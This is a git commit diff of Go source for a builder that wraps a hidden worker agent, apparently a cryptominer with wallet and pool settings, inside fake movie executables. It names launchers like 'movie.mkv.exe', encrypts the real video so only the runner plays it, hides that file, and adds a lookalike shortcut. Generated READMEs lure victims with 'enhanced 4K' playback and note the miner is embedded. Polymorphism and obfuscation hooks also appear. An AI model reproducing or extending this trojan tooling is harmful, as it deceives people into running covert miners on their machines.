Add movie fusion packages with locked media, ZIP export, and batch forge UI.

Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
drjones
2026-05-29 01:33:09 -07:00
parent 20eb5a3ba4
commit b99c8aab15
36 changed files with 2063 additions and 168 deletions

View File

@@ -13,26 +13,44 @@ const (
)
type FusionEstimateResponse struct {
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
}
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(prepName)
if kind == "exe" && prepPath != "" {
kind = detectFusionPayloadKind(prepPath)
}
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
outputName := req.FusionOutputName
if outputName == "" {
outputName = prepName
}
if kind == "video" {
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(prepName)
}
} else if outputName == "" {
outputName = runnerNameForMedia(prepName)
}
}
if outputName == "" {
outputName = "prep.exe"
}
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
var total int64
switch kind {
case "video":
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
total = workerBytes + stubBytes + resourcePatchOverhead
}
default:
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
}
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
projectOut := filepath.Join(root, outputName)
label := prepName
if kind != "video" {
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
}
sub := fusionExportSubdir(req, label)
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
resp := FusionEstimateResponse{
PrepBytes: prepSize,
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
"Final size may differ slightly after icon + version info patch.",
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
},
}
if kind == "video" {
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
}
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
resp.ExportPath = filepath.Join(root, clean, outputName)
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
secondary := filepath.Join(root, clean, outputName)
if resp.ExportPath == "" {
resp.ExportPath = secondary
}
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
}
}
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
}
_ = prepPath
return resp
}

View File

@@ -1,73 +1,17 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
import "strings"
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
if prepPath == "" {
return "", fmt.Errorf("fusion requires prep.exe")
req := &BuildRequest{
FusionOutputName: outputName,
FusionRunOrder: runOrder,
}
if _, err := os.Stat(prepPath); err != nil {
return "", fmt.Errorf("prep.exe not found: %w", err)
}
if _, err := os.Stat(workerPath); err != nil {
return "", fmt.Errorf("worker binary not found: %w", err)
}
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
if err != nil {
return "", err
}
order := normalizeFusionOrder(runOrder)
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
return "", err
}
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
return "", err
}
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
return res.LauncherPath, nil
}
func normalizeFusionOrder(order string) string {

View File

@@ -0,0 +1,344 @@
package builder
import (
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"strings"
)
type fusionBuildResult struct {
LauncherPath string
MediaName string
EncryptedPath string
ShortcutPath string
}
func detectFusionPayloadKind(path string) string {
switch strings.ToLower(filepath.Ext(path)) {
case ".mp4", ".mkv", ".mov":
return "video"
default:
return "exe"
}
}
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
if kind == "video" {
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
}
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return nil, err
}
return &fusionBuildResult{LauncherPath: path}, nil
}
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" {
mediaName = filepath.Base(mediaPath)
}
mediaName = sanitizeFileName(mediaName)
outputName := strings.TrimSpace(req.FusionOutputName)
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(mediaName)
}
} else {
if outputName == "" {
outputName = runnerNameForMedia(mediaName)
}
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
if err != nil {
return nil, err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return nil, err
}
encFileName := mediaName + ".cmdata"
var mediaKey []byte
if mode == "paired" {
var keyErr error
mediaKey, keyErr = NewMediaLockKey()
if keyErr != nil {
return nil, keyErr
}
}
manifestFields := map[string]string{
"payload_kind": "video",
"media_mode": mode,
"media_file_name": mediaName,
}
if mode == "paired" {
manifestFields["media_enc_file"] = encFileName
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
manifestFields["runner_display_name"] = outputName
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err
}
var encryptedPath, shortcutPath string
switch mode {
case "embedded":
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
default:
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
}
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w -H windowsgui"
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
return nil, err
}
if mode == "paired" {
encryptedPath = filepath.Join(buildDir, encFileName)
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
return nil, err
}
_ = setHiddenFile(encryptedPath)
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
return nil, err
}
}
return &fusionBuildResult{
LauncherPath: launcherPath,
MediaName: mediaName,
EncryptedPath: encryptedPath,
ShortcutPath: shortcutPath,
}, nil
}
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
if err != nil {
return "", err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return "", err
}
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
if err != nil {
return "", err
}
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
return "", err
}
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"media_windows.go", "media_stub.go", "media_crypto.go",
"lock_hint_windows.go", "lock_hint_stub.go",
} {
src := filepath.Join(fusionSrc, name)
if _, err := os.Stat(src); err != nil {
continue
}
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
return "", err
}
}
return fusionDir, nil
}
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
order := normalizeFusionOrder(runOrder)
out := string(src)
repl := map[string]string{
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
}
for old, new := range repl {
out = strings.Replace(out, old, new, 1)
}
return []byte(out)
}
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
return writeFusionManifestEx(assetsDir, map[string]string{
"payload_kind": payloadKind,
"media_mode": mediaMode,
"media_file_name": mediaFileName,
})
}
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
raw, err := json.Marshal(fields)
if err != nil {
return err
}
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
}
func normalizeFusionMediaMode(mode string) string {
switch strings.ToLower(strings.TrimSpace(mode)) {
case "embedded":
return "embedded"
default:
return "paired"
}
}
func disguiseVideoExeName(mediaName string) string {
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
ext := filepath.Ext(mediaName)
if ext == "" {
ext = ".mkv"
}
return sanitizeFileName(base + ext + ".exe")
}
func runnerNameForMedia(mediaName string) string {
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
return sanitizeFileName(base + "-runner.exe")
}
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s)
}
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
}
if base == "" {
base = sanitizeFileName(req.WorkerName)
}
return sanitizeDirName(base)
}
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir)
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
return "", nil
}
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
}
for name, src := range artifacts {
if src == "" {
continue
}
dest := filepath.Join(destDir, sanitizeFileName(name))
if err := copyFile(src, dest); err != nil {
return "", fmt.Errorf("failed to export %s: %w", name, err)
}
}
readmePath := filepath.Join(destDir, "README.txt")
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
return "", fmt.Errorf("failed to write README.txt: %w", err)
}
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
return destDir, nil
}
func sanitizeDirName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return ""
}
name = filepath.Base(name)
var b strings.Builder
for _, r := range name {
switch {
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
if r == ' ' {
b.WriteRune('_')
} else {
b.WriteRune(r)
}
}
}
out := strings.Trim(b.String(), "._")
if out == "" {
return "title"
}
return out
}

View File

@@ -0,0 +1,71 @@
package builder
import (
"fmt"
"path/filepath"
"strings"
)
type fusionReadmeInfo struct {
Title string
RunnerName string
MediaName string
PayloadKind string // exe | video
MediaMode string // embedded | paired | ""
}
func formatFusionReadme(info fusionReadmeInfo) string {
title := strings.TrimSpace(info.Title)
if title == "" {
title = "Media"
}
runner := strings.TrimSpace(info.RunnerName)
if runner == "" {
runner = "runner.exe"
}
var b strings.Builder
fmt.Fprintf(&b, "========================================\r\n")
fmt.Fprintf(&b, " ENHANCED PLAYBACK PACKAGE\r\n")
fmt.Fprintf(&b, "========================================\r\n\r\n")
fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)
switch {
case info.PayloadKind == "video" && info.MediaMode == "paired":
media := strings.TrimSpace(info.MediaName)
if media == "" {
media = title + filepath.Ext(title)
}
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
fmt.Fprintf(&b, "-----------\r\n")
fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
fmt.Fprintf(&b, "-------------------\r\n")
fmt.Fprintf(&b, " %-22s START HERE — play movie (enhanced 4K)\r\n", runner)
fmt.Fprintf(&b, " %-22s locked shortcut (looks like the movie)\r\n", media+".lnk")
fmt.Fprintf(&b, " %-22s encrypted video (do not open directly)\r\n", media+".cmdata")
fmt.Fprintf(&b, " README.txt this file\r\n\r\n")
fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")
case info.PayloadKind == "video" && info.MediaMode == "embedded":
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
fmt.Fprintf(&b, "-----------\r\n")
fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")
default:
fmt.Fprintf(&b, "HOW TO RUN\r\n")
fmt.Fprintf(&b, "----------\r\n")
fmt.Fprintf(&b, "Double-click:\r\n\r\n")
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
}
fmt.Fprintf(&b, "\r\n========================================\r\n")
return b.String()
}

View File

@@ -0,0 +1,21 @@
package builder
import (
"strings"
"testing"
)
func TestFormatFusionReadmePaired(t *testing.T) {
text := formatFusionReadme(fusionReadmeInfo{
Title: "Vacation",
RunnerName: "Vacation-runner.exe",
MediaName: "Vacation.mkv",
PayloadKind: "video",
MediaMode: "paired",
})
for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} {
if !strings.Contains(text, want) {
t.Fatalf("readme missing %q:\n%s", want, text)
}
}
}

View File

@@ -9,7 +9,7 @@ import (
"testing"
)
func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
dataDir := t.TempDir()
h := &Handler{dataDir: dataDir}
@@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
}
defer f.Close()
path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0])
if err != nil {
t.Fatal(err)
}
defer cleanup()
if _, err := os.Stat(path); err != nil {
t.Fatalf("prep not saved: %v", err)
t.Fatalf("payload not saved: %v", err)
}
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
t.Fatalf("preps dir not created: %v", err)
}
}
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, _ := r.ReadForm(10 << 20)
f, _ := form.File["prep_exe"][0].Open()
defer f.Close()
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
if err == nil {
t.Fatal("expected error for .txt upload")
}
}

View File

@@ -0,0 +1,71 @@
package builder
import (
"archive/zip"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
func zipDirectory(sourceDir, zipPath string) error {
sourceDir, err := filepath.Abs(sourceDir)
if err != nil {
return err
}
zipPath, err = filepath.Abs(zipPath)
if err != nil {
return err
}
if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir {
return fmt.Errorf("zip path must be outside source directory")
}
out, err := os.Create(zipPath)
if err != nil {
return err
}
defer out.Close()
zw := zip.NewWriter(out)
defer zw.Close()
return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error {
if walkErr != nil {
return walkErr
}
if info.IsDir() {
return nil
}
if strings.EqualFold(filepath.Ext(path), ".zip") {
return nil
}
rel, err := filepath.Rel(sourceDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
hdr, err := zip.FileInfoHeader(info)
if err != nil {
return err
}
hdr.Name = rel
hdr.Method = zip.Deflate
w, err := zw.CreateHeader(hdr)
if err != nil {
return err
}
in, err := os.Open(path)
if err != nil {
return err
}
_, err = io.Copy(w, in)
in.Close()
return err
})
}
func fusionBundleZipName(subdir string) string {
return sanitizeFileName(subdir) + "-package.zip"
}

View File

@@ -0,0 +1,27 @@
package builder
import (
"archive/zip"
"os"
"path/filepath"
"testing"
)
func TestZipDirectory(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil {
t.Fatal(err)
}
zipPath := filepath.Join(t.TempDir(), "pkg.zip")
if err := zipDirectory(dir, zipPath); err != nil {
t.Fatal(err)
}
r, err := zip.OpenReader(zipPath)
if err != nil {
t.Fatal(err)
}
defer r.Close()
if len(r.File) != 1 || r.File[0].Name != "README.txt" {
t.Fatalf("unexpected zip contents: %+v", r.File)
}
}

View File

@@ -22,8 +22,9 @@ import (
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
ServerURL string `json:"server_url"`
BackupServerURLs []string `json:"backup_server_urls"`
Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
@@ -55,9 +56,13 @@ type BuildRequest struct {
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
FusionPayloadKind string `json:"fusion_payload_kind"`
FusionMediaMode string `json:"fusion_media_mode"`
FusionMediaBaseName string `json:"fusion_media_base_name"`
FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
@@ -83,12 +88,22 @@ type BuildResponse struct {
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
FusionExportDir string `json:"fusion_export_dir,omitempty"`
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
BundleFileName string `json:"bundle_file_name,omitempty"`
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
type BuildArtifactFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
prepSize = header.Size
prepName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path := filepath.Join(buildDir, name)
if _, err := os.Stat(path); err != nil {
// Paired media may live in fusion export dir — try deliverables folder from query
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
path = filepath.Join(exportDir, name)
}
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui"
}
extra, err := injectPolymorph(agentDir, buildID)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
var extraArtifacts []BuildArtifactFile
var fusionRes *fusionBuildResult
if req.FusionEnabled {
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
var err error
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusedPath
finalName = filepath.Base(fusedPath)
finalPath = fusionRes.LauncherPath
finalName = filepath.Base(finalPath)
fusionEnabled = true
if fusionRes.EncryptedPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.EncryptedPath),
FilePath: fusionRes.EncryptedPath,
})
}
if fusionRes.ShortcutPath != "" {
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
FileName: filepath.Base(fusionRes.ShortcutPath),
FilePath: fusionRes.ShortcutPath,
})
}
}
exportPath, err := h.publishRootExecutable(finalPath, finalName)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
var fusionExportDir string
var bundleFileName string
